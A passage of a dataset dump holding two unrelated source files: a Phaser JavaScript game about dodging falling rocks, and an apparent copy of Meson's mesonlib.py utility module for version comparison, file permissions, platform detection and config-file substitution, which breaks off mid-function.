text
stringlengths 3
1.05M
|
|---|
var
width = 800,
heigth = 500,
xFrames,
yFrames,
platforms,
player,
cursors,
projectiles,
ground,
lives,
scoreCard = new ScoreCard('dodge'),
game = new Phaser.Game(
width,
heigth,
Phaser.AUTO,
'',
{ preload: preload, create: create, update: update }
),
hud = new Hud(game),
level = 0,
levels = {
'0': {
projectile: 10,
max: 5,
gravity: 100,
chance: {
rock: 1,
star: 0,
heart: .05
},
message: 'Those rocks look really heavy.\n Better stay out of their way...'
},
1: {
chance: {
rock: 0,
star: 1,
heart: 0
},
projectile: 5,
max: 3,
message: 'But those stars look pretty'
},
};
function preload() {
game.load.image('sky', 'assets/sky.png');
game.load.image('ground', 'assets/platform.png');
game.load.image('star', 'assets/star.png');
game.load.image('rock', 'assets/meteorite.png');
game.load.image('heart', 'assets/heart.png');
game.load.spritesheet('dude', 'assets/dude.png', 32, 48);
}
function create() {
xFrames = width / 32;
yFrames = heigth /32;
createWorld();
createPlayer();
projectiles = game.add.group();
projectiles.enableBody = true;
setTexts();
bumpLevel();
}
function update() {
if (stillAlive()) {
game.physics.arcade.collide(player, platforms);
}
game.physics.arcade.collide(player, projectiles, hitPlayer, null, this);
game.physics.arcade.collide(projectiles, platforms, crashProjectile, null, this);
playerMove();
}
function setTexts() {
var index = width / 12;
hud.add(index * 1, 16, 'score');
hud.add(index * 5, 16, 'level');
hud.add(index * 9, 16, 'projectile');
hud.add(index * 4, heigth/3, 'center', '48px');
hud.update('score', 'Score: 000000');
}
function showMessage(message, timeOut) {
timeOut = timeOut >= 500 ? timeOut : 4000;
hud.update('center', message);
setTimeout(function() {
hud.update('center', '');
}, timeOut);
}
function bumpLevel(lvl) {
if (lvl == null) {
lvl = level && null != level.lvl ? level.lvl + 1 : 0;
}
level = {
lvl: lvl,
actives: 0,
max: defaultLevelValues('max', 1, 5),
projectile: defaultLevelValues('projectile', 5, 10),
left: defaultLevelValues('projectile', 5, 10),
gravity: defaultLevelValues('gravity', 20, 50),
chance: levels[lvl] && levels[lvl].chance ? levels[lvl].chance : {},
message: levels[lvl] && levels[lvl].message ? levels[lvl].message : '',
};
level.chance.heart = null != level.chance.heart ? level.chance.heart : 0.05;
level.chance.star = null != level.chance.star ? level.chance.star : 0.35;
level.chance.rock = null != level.chance.rock ? level.chance.rock : 0.6;
hud.update('level', 'Level: ' + (lvl + 1));
showMessage(level.message || 'Next Level: ' + (lvl + 1));
setTimeout(function() {
throwProjectile();
}, 4000);
}
function defaultLevelValues(attr, inc, defaultVal) {
var lvl = (level && level.lvl) || 0;
inc = inc ? inc : 1;
if (levels[lvl] && levels[lvl][attr]) {
return levels[lvl][attr]
} else if (level && level[attr]) {
return level[attr] + inc;
}
return defaultVal ? defaultVal : 0;
}
function throwProjectile() {
if (level.actives < level.max && level.left >0) {
createProjectile();
setTimeout(function() {throwProjectile();}, 500);
}
}
function createProjectile(x, grav) {
var projectile,
type,
hits,
bounce = 0.3;
typeChance = Math.random();
if (!stillAlive() || level.left <= 0 || level.actives >= level.max) {
return;
}
level.actives++;
level.left--;
grav = grav || level.gravity || 0;
x = x || (Math.random() * xFrames);
x = x > width - 32 ? width -32 : x;
if (typeChance < level.chance.heart) {
type = 'heart';
hits = 2;
bounce = 0
} else if(typeChance < level.chance.star) {
type = 'star';
hits = 3;
} else {
type = 'rock';
hits = 2;
}
projectile = projectiles.create(x * 32, 0, type);
projectile.body.gravity.y = grav + Math.random() * 50;
projectile.body.bounce.y = bounce + Math.random() * 0.1;
projectile.hits = hits;
projectile.type = type;
drawProjectileText();
}
function drawProjectileText() {
hud.update('projectile', 'Moon rocks: ' + (level.left));
}
function crashProjectile(projectile) {
var score;
if(--projectile.hits > 0) {
return;
}
level.actives-=1;
projectile.kill();
drawProjectileText();
score = scoreCard.add(projectile.score);
hud.update('score', 'Score: ' + hud.pad(score, 6));
projectile.kill();
if (level.left > 0) {
createProjectile();
} else if(level.actives <= 0) {
bumpLevel();
}
}
function createWorld() {
game.physics.startSystem(Phaser.Physics.ARCADE);
game.add.sprite(0, 0, 'sky');
platforms = game.add.group();
platforms.enableBody = true;
ground = platforms.create(0, game.world.height - 64, 'ground');
ground.scale.setTo(2, 2);
ground.body.immovable = true;
}
function createPlayer(){
player = game.add.sprite(400, game.world.height -150, 'dude');
game.physics.arcade.enable(player);
player.body.bounce.y = 0.2;
player.body.gravity.y = 500;
player.body.collideWorldBounds = true;
player.animations.add('left', [0, 1, 2, 3], 10, true);
player.animations.add('right', [5, 6, 7, 8], 10, true);
player.lives = 3;
drawLives();
cursors = game.input.keyboard.createCursorKeys();
}
function drawLives() {
if (lives) {
lives.destroy();
}
if (player.lives > 10) {
player.lives = 10;
}
lives = game.add.group();
lives.enableBody = true;
for (var i = 1; i <= player.lives; i++) {
life = lives.create((width/12) + (40 * i), 40, 'heart');
life.body.immovable = true;
}
}
function playerHurt() {
if (!stillAlive) {
return;
}
player.hurt = true;
player.blink = true;
timer = game.time.create(false);
var interval = setInterval(function() {
player.hurtBlink = !player.hurtBlink;
player.visible =player.hurtBlink
}, 100);
setTimeout(function() {
clearInterval(interval);
player.visible = true;
player.hurt = false;
}, 2000);
return ;
}
function hitPlayer(player, projectile) {
switch (projectile.type) {
case 'star':
projectile.kill();
projectile.score = projectile.hits * 50;
projectile.hits = 0;
crashProjectile(projectile);
break;
case 'heart':
projectile.kill();
player.lives++;
drawLives();
projectile.hits = 0;
projectile.score = projectile.hits * 100;
crashProjectile(projectile);
break;
default: // rocks
if (!player.hurt) {
killPlayer(player, projectile);
}
break;
}
}
function killPlayer (player, rock) {
player.lives--;
playerHurt();
rock.kill();
drawLives();
rock.hits = 0;
rock.score = 0;
crashProjectile(rock);
if (stillAlive()) {
showMessage('Outch', 1000);
return;
}
player.body.collideWorldBounds = true;
scoreCard.save(null, level.lvl + 1 );
scoreCard.reset();
displayHighScores("You got hit hard on the head!\n Press SPACE to restart.")
}
function stillAlive() {
return player.lives > 0;
}
function displayHighScores(message) {
var scores = hud.pad(false, 4) + "Score Level\n",
highScores = scoreCard.loadHistory();
for (var i = 0; i< highScores.length ; i++) {
scores += hud.pad(false, 4) +
hud.pad(highScores[i].score, 6) + " " +
hud.pad(highScores[i].level, 3) + "\n";
}
showMessage(scores + "\n" + message, 10000);
}
function playerMove() {
player.body.velocity.x = 0;
if (!stillAlive()) {
if (game.input.keyboard.isDown(Phaser.Keyboard.SPACEBAR)) {
level = null;
player.kill()
createPlayer();
bumpLevel();
}
return;
}
if (cursors.left.isDown) {
player.body.velocity.x = -150;
player.animations.play('left');
} else if (cursors.right.isDown) {
player.body.velocity.x = 150;
player.animations.play('right');
} else {
player.animations.stop();
player.frame = 4;
}
if (cursors.up.isDown && player.body.touching.down) {
player.body.velocity.y = -200;
}
if (player.body.y > ground.body.y) {
player.body.y = game.world.height - 110;
}
}
|
# Copyright 2012-2015 The Meson development team
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
# http://www.apache.org/licenses/LICENSE-2.0
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""A library of random helper functionality."""
from pathlib import Path
import sys
import stat
import time
import platform, subprocess, operator, os, shlex, shutil, re
import collections
from enum import Enum
from functools import lru_cache, update_wrapper
from itertools import tee, filterfalse
import typing
import uuid
from mesonbuild import mlog
_T = typing.TypeVar('_T')
_U = typing.TypeVar('_U')
have_fcntl = False
have_msvcrt = False
# {subproject: project_meson_version}
project_meson_versions = {}
try:
import fcntl
have_fcntl = True
except Exception:
pass
try:
import msvcrt
have_msvcrt = True
except Exception:
pass
from glob import glob
if os.path.basename(sys.executable) == 'meson.exe':
# In Windows and using the MSI installed executable.
python_command = [sys.executable, 'runpython']
else:
python_command = [sys.executable]
meson_command = None
def set_meson_command(mainfile):
global python_command
global meson_command
# On UNIX-like systems `meson` is a Python script
# On Windows `meson` and `meson.exe` are wrapper exes
if not mainfile.endswith('.py'):
meson_command = [mainfile]
elif os.path.isabs(mainfile) and mainfile.endswith('mesonmain.py'):
# Can't actually run meson with an absolute path to mesonmain.py, it must be run as -m mesonbuild.mesonmain
meson_command = python_command + ['-m', 'mesonbuild.mesonmain']
else:
# Either run uninstalled, or full path to meson-script.py
meson_command = python_command + [mainfile]
# We print this value for unit tests.
if 'MESON_COMMAND_TESTS' in os.environ:
mlog.log('meson_command is {!r}'.format(meson_command))
def is_ascii_string(astring) -> bool:
try:
if isinstance(astring, str):
astring.encode('ascii')
elif isinstance(astring, bytes):
astring.decode('ascii')
except UnicodeDecodeError:
return False
return True
def check_direntry_issues(direntry_array):
import locale
# Warn if the locale is not UTF-8. This can cause various unfixable issues
# such as os.stat not being able to decode filenames with unicode in them.
# There is no way to reset both the preferred encoding and the filesystem
# encoding, so we can just warn about it.
e = locale.getpreferredencoding()
if e.upper() != 'UTF-8' and not is_windows():
if not isinstance(direntry_array, list):
direntry_array = [direntry_array]
for de in direntry_array:
if is_ascii_string(de):
continue
mlog.warning('''You are using {!r} which is not a Unicode-compatible '
locale but you are trying to access a file system entry called {!r} which is
not pure ASCII. This may cause problems.
'''.format(e, de), file=sys.stderr)
# Put this in objects that should not get dumped to pickle files
# by accident.
import threading
an_unpicklable_object = threading.Lock()
class MesonException(Exception):
'''Exceptions thrown by Meson'''
def get_msg_with_context(self):
s = ''
if hasattr(self, 'lineno') and hasattr(self, 'file'):
s = get_error_location_string(self.file, self.lineno) + ' '
s += str(self)
return s
class EnvironmentException(MesonException):
'''Exceptions thrown while processing and creating the build environment'''
class FileMode:
# The first triad is for owner permissions, the second for group permissions,
# and the third for others (everyone else).
# For the 1st character:
# 'r' means can read
# '-' means not allowed
# For the 2nd character:
# 'w' means can write
# '-' means not allowed
# For the 3rd character:
# 'x' means can execute
# 's' means can execute and setuid/setgid is set (owner/group triads only)
# 'S' means cannot execute and setuid/setgid is set (owner/group triads only)
# 't' means can execute and sticky bit is set ("others" triads only)
# 'T' means cannot execute and sticky bit is set ("others" triads only)
# '-' means none of these are allowed
#
# The meanings of 'rwx' perms is not obvious for directories; see:
# https://www.hackinglinuxexposed.com/articles/20030424.html
#
# For information on this notation such as setuid/setgid/sticky bits, see:
# https://en.wikipedia.org/wiki/File_system_permissions#Symbolic_notation
symbolic_perms_regex = re.compile('[r-][w-][xsS-]' # Owner perms
'[r-][w-][xsS-]' # Group perms
'[r-][w-][xtT-]') # Others perms
def __init__(self, perms=None, owner=None, group=None):
self.perms_s = perms
self.perms = self.perms_s_to_bits(perms)
self.owner = owner
self.group = group
def __repr__(self):
ret = '<FileMode: {!r} owner={} group={}'
return ret.format(self.perms_s, self.owner, self.group)
@classmethod
def perms_s_to_bits(cls, perms_s):
'''
Does the opposite of stat.filemode(), converts strings of the form
'rwxr-xr-x' to st_mode enums which can be passed to os.chmod()
'''
if perms_s is None:
# No perms specified, we will not touch the permissions
return -1
eg = 'rwxr-xr-x'
if not isinstance(perms_s, str):
msg = 'Install perms must be a string. For example, {!r}'
raise MesonException(msg.format(eg))
if len(perms_s) != 9 or not cls.symbolic_perms_regex.match(perms_s):
msg = 'File perms {!r} must be exactly 9 chars. For example, {!r}'
raise MesonException(msg.format(perms_s, eg))
perms = 0
# Owner perms
if perms_s[0] == 'r':
perms |= stat.S_IRUSR
if perms_s[1] == 'w':
perms |= stat.S_IWUSR
if perms_s[2] == 'x':
perms |= stat.S_IXUSR
elif perms_s[2] == 'S':
perms |= stat.S_ISUID
elif perms_s[2] == 's':
perms |= stat.S_IXUSR
perms |= stat.S_ISUID
# Group perms
if perms_s[3] == 'r':
perms |= stat.S_IRGRP
if perms_s[4] == 'w':
perms |= stat.S_IWGRP
if perms_s[5] == 'x':
perms |= stat.S_IXGRP
elif perms_s[5] == 'S':
perms |= stat.S_ISGID
elif perms_s[5] == 's':
perms |= stat.S_IXGRP
perms |= stat.S_ISGID
# Others perms
if perms_s[6] == 'r':
perms |= stat.S_IROTH
if perms_s[7] == 'w':
perms |= stat.S_IWOTH
if perms_s[8] == 'x':
perms |= stat.S_IXOTH
elif perms_s[8] == 'T':
perms |= stat.S_ISVTX
elif perms_s[8] == 't':
perms |= stat.S_IXOTH
perms |= stat.S_ISVTX
return perms
class File:
def __init__(self, is_built: bool, subdir: str, fname: str):
self.is_built = is_built
self.subdir = subdir
self.fname = fname
assert(isinstance(self.subdir, str))
assert(isinstance(self.fname, str))
def __str__(self) -> str:
return self.relative_name()
def __repr__(self) -> str:
ret = '<File: {0}'
if not self.is_built:
ret += ' (not built)'
ret += '>'
return ret.format(self.relative_name())
@staticmethod
@lru_cache(maxsize=None)
def from_source_file(source_root: str, subdir: str, fname: str):
if not os.path.isfile(os.path.join(source_root, subdir, fname)):
raise MesonException('File %s does not exist.' % fname)
return File(False, subdir, fname)
@staticmethod
def from_built_file(subdir: str, fname: str):
return File(True, subdir, fname)
@staticmethod
def from_absolute_file(fname: str):
return File(False, '', fname)
@lru_cache(maxsize=None)
def rel_to_builddir(self, build_to_src: str) -> str:
if self.is_built:
return self.relative_name()
else:
return os.path.join(build_to_src, self.subdir, self.fname)
@lru_cache(maxsize=None)
def absolute_path(self, srcdir: str, builddir: str) -> str:
absdir = srcdir
if self.is_built:
absdir = builddir
return os.path.join(absdir, self.relative_name())
def endswith(self, ending: str) -> bool:
return self.fname.endswith(ending)
def split(self, s: str) -> typing.List[str]:
return self.fname.split(s)
def __eq__(self, other) -> bool:
return (self.fname, self.subdir, self.is_built) == (other.fname, other.subdir, other.is_built)
def __hash__(self) -> int:
return hash((self.fname, self.subdir, self.is_built))
@lru_cache(maxsize=None)
def relative_name(self) -> str:
return os.path.join(self.subdir, self.fname)
def get_compiler_for_source(compilers, src):
for comp in compilers:
if comp.can_compile(src):
return comp
raise MesonException('No specified compiler can handle file {!s}'.format(src))
def classify_unity_sources(compilers, sources):
compsrclist = {}
for src in sources:
comp = get_compiler_for_source(compilers, src)
if comp not in compsrclist:
compsrclist[comp] = [src]
else:
compsrclist[comp].append(src)
return compsrclist
class OrderedEnum(Enum):
"""
An Enum which additionally offers homogeneous ordered comparison.
"""
def __ge__(self, other):
if self.__class__ is other.__class__:
return self.value >= other.value
return NotImplemented
def __gt__(self, other):
if self.__class__ is other.__class__:
return self.value > other.value
return NotImplemented
def __le__(self, other):
if self.__class__ is other.__class__:
return self.value <= other.value
return NotImplemented
def __lt__(self, other):
if self.__class__ is other.__class__:
return self.value < other.value
return NotImplemented
class MachineChoice(OrderedEnum):
"""Enum class representing one of the two abstract machine names used in
most places: the build, and host, machines.
"""
BUILD = 0
HOST = 1
def get_lower_case_name(self):
return PerMachine('build', 'host')[self]
def get_prefix(self):
return PerMachine('build.', '')[self]
class PerMachine(typing.Generic[_T]):
def __init__(self, build: _T, host: _T):
self.build = build
self.host = host
def __getitem__(self, machine: MachineChoice) -> _T:
return {
MachineChoice.BUILD: self.build,
MachineChoice.HOST: self.host,
}[machine]
def __setitem__(self, machine: MachineChoice, val: _T) -> None:
setattr(self, machine.get_lower_case_name(), val)
def miss_defaulting(self) -> "PerMachineDefaultable[typing.Optional[_T]]":
"""Unset definition duplicated from their previous to None
This is the inverse of ''default_missing''. By removing defaulted
machines, we can elaborate the original and then redefault them and thus
avoid repeating the elaboration explicitly.
"""
unfreeze = PerMachineDefaultable() # type: PerMachineDefaultable[typing.Optional[_T]]
unfreeze.build = self.build
unfreeze.host = self.host
if unfreeze.host == unfreeze.build:
unfreeze.host = None
return unfreeze
class PerThreeMachine(PerMachine[_T]):
"""Like `PerMachine` but includes `target` too.
It turns out just one thing do we need track the target machine. There's no
need to computer the `target` field so we don't bother overriding the
`__getitem__`/`__setitem__` methods.
"""
def __init__(self, build: _T, host: _T, target: _T):
super().__init__(build, host)
self.target = target
def miss_defaulting(self) -> "PerThreeMachineDefaultable[typing.Optional[_T]]":
"""Unset definition duplicated from their previous to None
This is the inverse of ''default_missing''. By removing defaulted
machines, we can elaborate the original and then redefault them and thus
avoid repeating the elaboration explicitly.
"""
unfreeze = PerThreeMachineDefaultable() # type: PerThreeMachineDefaultable[typing.Optional[_T]]
unfreeze.build = self.build
unfreeze.host = self.host
unfreeze.target = self.target
if unfreeze.target == unfreeze.host:
unfreeze.target = None
if unfreeze.host == unfreeze.build:
unfreeze.host = None
return unfreeze
def matches_build_machine(self, machine: MachineChoice) -> bool:
return self.build == self[machine]
class PerMachineDefaultable(PerMachine[typing.Optional[_T]]):
"""Extends `PerMachine` with the ability to default from `None`s.
"""
def __init__(self) -> None:
super().__init__(None, None)
def default_missing(self) -> "PerMachine[typing.Optional[_T]]":
"""Default host to buid
This allows just specifying nothing in the native case, and just host in the
cross non-compiler case.
"""
freeze = PerMachine(self.build, self.host)
if freeze.host is None:
freeze.host = freeze.build
return freeze
class PerThreeMachineDefaultable(PerMachineDefaultable, PerThreeMachine[typing.Optional[_T]]):
"""Extends `PerThreeMachine` with the ability to default from `None`s.
"""
def __init__(self) -> None:
PerThreeMachine.__init__(self, None, None, None)
def default_missing(self) -> "PerThreeMachine[typing.Optional[_T]]":
"""Default host to buid and target to host.
This allows just specifying nothing in the native case, just host in the
cross non-compiler case, and just target in the native-built
cross-compiler case.
"""
freeze = PerThreeMachine(self.build, self.host, self.target)
if freeze.host is None:
freeze.host = freeze.build
if freeze.target is None:
freeze.target = freeze.host
return freeze
def is_sunos() -> bool:
return platform.system().lower() == 'sunos'
def is_osx() -> bool:
return platform.system().lower() == 'darwin'
def is_linux() -> bool:
return platform.system().lower() == 'linux'
def is_android() -> bool:
return platform.system().lower() == 'android'
def is_haiku() -> bool:
return platform.system().lower() == 'haiku'
def is_openbsd() -> bool:
return platform.system().lower() == 'openbsd'
def is_windows() -> bool:
platname = platform.system().lower()
return platname == 'windows' or 'mingw' in platname
def is_cygwin() -> bool:
return platform.system().lower().startswith('cygwin')
def is_debianlike() -> bool:
return os.path.isfile('/etc/debian_version')
def is_dragonflybsd() -> bool:
return platform.system().lower() == 'dragonfly'
def is_netbsd() -> bool:
return platform.system().lower() == 'netbsd'
def is_freebsd() -> bool:
return platform.system().lower() == 'freebsd'
def exe_exists(arglist: typing.List[str]) -> bool:
try:
if subprocess.run(arglist, timeout=10).returncode == 0:
return True
except (FileNotFoundError, subprocess.TimeoutExpired):
pass
return False
@lru_cache(maxsize=None)
def darwin_get_object_archs(objpath):
'''
For a specific object (executable, static library, dylib, etc), run `lipo`
to fetch the list of archs supported by it. Supports both thin objects and
'fat' objects.
'''
_, stdo, stderr = Popen_safe(['lipo', '-info', objpath])
if not stdo:
mlog.debug('lipo {}: {}'.format(objpath, stderr))
return None
stdo = stdo.rsplit(': ', 1)[1]
# Convert from lipo-style archs to meson-style CPUs
stdo = stdo.replace('i386', 'x86')
stdo = stdo.replace('arm64', 'aarch64')
# Add generic name for armv7 and armv7s
if 'armv7' in stdo:
stdo += ' arm'
return stdo.split()
def detect_vcs(source_dir):
vcs_systems = [
dict(name = 'git', cmd = 'git', repo_dir = '.git', get_rev = 'git describe --dirty=+', rev_regex = '(.*)', dep = '.git/logs/HEAD'),
dict(name = 'mercurial', cmd = 'hg', repo_dir = '.hg', get_rev = 'hg id -i', rev_regex = '(.*)', dep = '.hg/dirstate'),
dict(name = 'subversion', cmd = 'svn', repo_dir = '.svn', get_rev = 'svn info', rev_regex = 'Revision: (.*)', dep = '.svn/wc.db'),
dict(name = 'bazaar', cmd = 'bzr', repo_dir = '.bzr', get_rev = 'bzr revno', rev_regex = '(.*)', dep = '.bzr'),
]
# FIXME: this is much cleaner with pathlib.Path
segs = source_dir.replace('\\', '/').split('/')
for i in range(len(segs), -1, -1):
curdir = '/'.join(segs[:i])
for vcs in vcs_systems:
if os.path.isdir(os.path.join(curdir, vcs['repo_dir'])) and shutil.which(vcs['cmd']):
vcs['wc_dir'] = curdir
return vcs
return None
# a helper class which implements the same version ordering as RPM
class Version:
def __init__(self, s):
self._s = s
# split into numeric, alphabetic and non-alphanumeric sequences
sequences = re.finditer(r'(\d+|[a-zA-Z]+|[^a-zA-Z\d]+)', s)
# non-alphanumeric separators are discarded
sequences = [m for m in sequences if not re.match(r'[^a-zA-Z\d]+', m.group(1))]
# numeric sequences are converted from strings to ints
sequences = [int(m.group(1)) if m.group(1).isdigit() else m.group(1) for m in sequences]
self._v = sequences
def __str__(self):
return '%s (V=%s)' % (self._s, str(self._v))
def __repr__(self):
return '<Version: {}>'.format(self._s)
def __lt__(self, other):
if isinstance(other, Version):
return self.__cmp(other, operator.lt)
return NotImplemented
def __gt__(self, other):
if isinstance(other, Version):
return self.__cmp(other, operator.gt)
return NotImplemented
def __le__(self, other):
if isinstance(other, Version):
return self.__cmp(other, operator.le)
return NotImplemented
def __ge__(self, other):
if isinstance(other, Version):
return self.__cmp(other, operator.ge)
return NotImplemented
def __eq__(self, other):
if isinstance(other, Version):
return self._v == other._v
return NotImplemented
def __ne__(self, other):
if isinstance(other, Version):
return self._v != other._v
return NotImplemented
def __cmp(self, other, comparator):
# compare each sequence in order
for ours, theirs in zip(self._v, other._v):
# sort a non-digit sequence before a digit sequence
ours_is_int = isinstance(ours, int)
theirs_is_int = isinstance(theirs, int)
if ours_is_int != theirs_is_int:
return comparator(ours_is_int, theirs_is_int)
if ours != theirs:
return comparator(ours, theirs)
# if equal length, all components have matched, so equal
# otherwise, the version with a suffix remaining is greater
return comparator(len(self._v), len(other._v))
def _version_extract_cmpop(vstr2: str) -> typing.Tuple[typing.Callable[[typing.Any, typing.Any], bool], str]:
if vstr2.startswith('>='):
cmpop = operator.ge
vstr2 = vstr2[2:]
elif vstr2.startswith('<='):
cmpop = operator.le
vstr2 = vstr2[2:]
elif vstr2.startswith('!='):
cmpop = operator.ne
vstr2 = vstr2[2:]
elif vstr2.startswith('=='):
cmpop = operator.eq
vstr2 = vstr2[2:]
elif vstr2.startswith('='):
cmpop = operator.eq
vstr2 = vstr2[1:]
elif vstr2.startswith('>'):
cmpop = operator.gt
vstr2 = vstr2[1:]
elif vstr2.startswith('<'):
cmpop = operator.lt
vstr2 = vstr2[1:]
else:
cmpop = operator.eq
return (cmpop, vstr2)
def version_compare(vstr1: str, vstr2: str) -> bool:
(cmpop, vstr2) = _version_extract_cmpop(vstr2)
return cmpop(Version(vstr1), Version(vstr2))
def version_compare_many(vstr1, conditions):
if not isinstance(conditions, (list, tuple, frozenset)):
conditions = [conditions]
found = []
not_found = []
for req in conditions:
if not version_compare(vstr1, req):
not_found.append(req)
else:
found.append(req)
return not_found == [], not_found, found
# determine if the minimum version satisfying the condition |condition| exceeds
# the minimum version for a feature |minimum|
def version_compare_condition_with_min(condition: str, minimum: str) -> bool:
if condition.startswith('>='):
cmpop = operator.le
condition = condition[2:]
elif condition.startswith('<='):
return False
elif condition.startswith('!='):
return False
elif condition.startswith('=='):
cmpop = operator.le
condition = condition[2:]
elif condition.startswith('='):
cmpop = operator.le
condition = condition[1:]
elif condition.startswith('>'):
cmpop = operator.lt
condition = condition[1:]
elif condition.startswith('<'):
return False
else:
cmpop = operator.le
# Declaring a project(meson_version: '>=0.46') and then using features in
# 0.46.0 is valid, because (knowing the meson versioning scheme) '0.46.0' is
# the lowest version which satisfies the constraint '>=0.46'.
#
# But this will fail here, because the minimum version required by the
# version constraint ('0.46') is strictly less (in our version comparison)
# than the minimum version needed for the feature ('0.46.0').
#
# Map versions in the constraint of the form '0.46' to '0.46.0', to embed
# this knowledge of the meson versioning scheme.
condition = condition.strip()
if re.match(r'^\d+.\d+$', condition):
condition += '.0'
return cmpop(Version(minimum), Version(condition))
def default_libdir():
if is_debianlike():
try:
pc = subprocess.Popen(['dpkg-architecture', '-qDEB_HOST_MULTIARCH'],
stdout=subprocess.PIPE,
stderr=subprocess.DEVNULL)
(stdo, _) = pc.communicate()
if pc.returncode == 0:
archpath = stdo.decode().strip()
return 'lib/' + archpath
except Exception:
pass
if is_freebsd():
return 'lib'
if os.path.isdir('/usr/lib64') and not os.path.islink('/usr/lib64'):
return 'lib64'
return 'lib'
def default_libexecdir():
# There is no way to auto-detect this, so it must be set at build time
return 'libexec'
def default_prefix():
return 'c:/' if is_windows() else '/usr/local'
def get_library_dirs() -> typing.List[str]:
if is_windows():
return ['C:/mingw/lib'] # TODO: get programatically
if is_osx():
return ['/usr/lib'] # TODO: get programatically
# The following is probably Debian/Ubuntu specific.
# /usr/local/lib is first because it contains stuff
# installed by the sysadmin and is probably more up-to-date
# than /usr/lib. If you feel that this search order is
# problematic, please raise the issue on the mailing list.
unixdirs = ['/usr/local/lib', '/usr/lib', '/lib']
if is_freebsd():
return unixdirs
# FIXME: this needs to be further genericized for aarch64 etc.
machine = platform.machine()
if machine in ('i386', 'i486', 'i586', 'i686'):
plat = 'i386'
elif machine.startswith('arm'):
plat = 'arm'
else:
plat = ''
# Solaris puts 32-bit libraries in the main /lib & /usr/lib directories
# and 64-bit libraries in platform specific subdirectories.
if is_sunos():
if machine == 'i86pc':
plat = 'amd64'
elif machine.startswith('sun4'):
plat = 'sparcv9'
usr_platdir = Path('/usr/lib/') / plat
if usr_platdir.is_dir():
unixdirs += [str(x) for x in (usr_platdir).iterdir() if x.is_dir()]
if os.path.exists('/usr/lib64'):
unixdirs.append('/usr/lib64')
lib_platdir = Path('/lib/') / plat
if lib_platdir.is_dir():
unixdirs += [str(x) for x in (lib_platdir).iterdir() if x.is_dir()]
if os.path.exists('/lib64'):
unixdirs.append('/lib64')
return unixdirs
def has_path_sep(name, sep='/\\'):
'Checks if any of the specified @sep path separators are in @name'
for each in sep:
if each in name:
return True
return False
if is_windows():
# shlex.split is not suitable for splitting command line on Window (https://bugs.python.org/issue1724822);
# shlex.quote is similarly problematic. Below are "proper" implementations of these functions according to
# https://docs.microsoft.com/en-us/cpp/c-language/parsing-c-command-line-arguments and
# https://blogs.msdn.microsoft.com/twistylittlepassagesallalike/2011/04/23/everyone-quotes-command-line-arguments-the-wrong-way/
_whitespace = ' \t\n\r'
_find_unsafe_char = re.compile(r'[{}"]'.format(_whitespace)).search
def quote_arg(arg):
if arg and not _find_unsafe_char(arg):
return arg
result = '"'
num_backslashes = 0
for c in arg:
if c == '\\':
num_backslashes += 1
else:
if c == '"':
# Escape all backslashes and the following double quotation mark
num_backslashes = num_backslashes * 2 + 1
result += num_backslashes * '\\' + c
num_backslashes = 0
# Escape all backslashes, but let the terminating double quotation
# mark we add below be interpreted as a metacharacter
result += (num_backslashes * 2) * '\\' + '"'
return result
def split_args(cmd):
result = []
arg = ''
num_backslashes = 0
num_quotes = 0
in_quotes = False
for c in cmd:
if c == '\\':
num_backslashes += 1
else:
if c == '"' and not (num_backslashes % 2):
# unescaped quote, eat it
arg += (num_backslashes // 2) * '\\'
num_quotes += 1
in_quotes = not in_quotes
elif c in _whitespace and not in_quotes:
if arg or num_quotes:
# reached the end of the argument
result.append(arg)
arg = ''
num_quotes = 0
else:
if c == '"':
# escaped quote
num_backslashes = (num_backslashes - 1) // 2
arg += num_backslashes * '\\' + c
num_backslashes = 0
if arg or num_quotes:
result.append(arg)
return result
else:
def quote_arg(arg):
return shlex.quote(arg)
def split_args(cmd):
return shlex.split(cmd)
def join_args(args):
return ' '.join([quote_arg(x) for x in args])
def do_replacement(regex, line, variable_format, confdata):
missing_variables = set()
start_tag = '@'
backslash_tag = '\\@'
if variable_format == 'cmake':
start_tag = '${'
backslash_tag = '\\${'
def variable_replace(match):
# Pairs of escape characters before '@' or '\@'
if match.group(0).endswith('\\'):
num_escapes = match.end(0) - match.start(0)
return '\\' * (num_escapes // 2)
# Single escape character and '@'
elif match.group(0) == backslash_tag:
return start_tag
# Template variable to be replaced
else:
varname = match.group(1)
if varname in confdata:
(var, desc) = confdata.get(varname)
if isinstance(var, str):
pass
elif isinstance(var, int):
var = str(var)
else:
msg = 'Tried to replace variable {!r} value with ' \
'something other than a string or int: {!r}'
raise MesonException(msg.format(varname, var))
else:
missing_variables.add(varname)
var = ''
return var
return re.sub(regex, variable_replace, line), missing_variables
def do_mesondefine(line, confdata):
arr = line.split()
if len(arr) != 2:
raise MesonException('#mesondefine does not contain exactly two tokens: %s' % line.strip())
varname = arr[1]
try:
(v, desc) = confdata.get(varname)
except KeyError:
return '/* #undef %s */\n' % varname
if isinstance(v, bool):
if v:
return '#define %s\n' % varname
else:
return '#undef %s\n' % varname
elif isinstance(v, int):
return '#define %s %d\n' % (varname, v)
elif isinstance(v, str):
return '#define %s %s\n' % (varname, v)
else:
raise MesonException('#mesondefine argument "%s" is of unknown type.' % varname)
def do_conf_file(src, dst, confdata, variable_format, encoding='utf-8'):
try:
with open(src, encoding=encoding, newline='') as f:
data = f.readlines()
except Exception as e:
raise MesonException('Could not read input file %s: %s' % (src, str(e)))
# Only allow (a-z, A-Z, 0-9, _, -) as valid characters for a define
# Also allow escaping '@' with '\@'
if variable_format in ['meson', 'cmake@']:
regex = re.compile(r'(?:\\\\)+(?=\\?@)|\\@|@([-a-zA-Z0-9_]+)@')
elif variable_format == 'cmake':
regex = re.compile(r'(?:\\\\)+(?=\\?\$)|\\\${|\${([-a-zA-Z0-9_]+)}')
else:
raise MesonException('Format "{}" not handled'.format(variable_format))
search_token = '#mesondefine'
if variable_format != 'meson':
search_token = '#cmakedefine'
result = []
missing_variables = set()
# Detect when the configuration data is empty and no tokens were found
# during substitution so we can warn the user to use the `copy:` kwarg.
confdata_useless = not confdata.keys()
for line in data:
if line.startswith(search_token):
confdata_useless = False
line = do_mesondefine(line, confdata)
else:
line, missing = do_replacement(regex, line, variable_format, confdata)
missing_variables.update(missing)
if missing:
confdata_useless = False
result.append(line)
dst_tmp = dst + '~'
try:
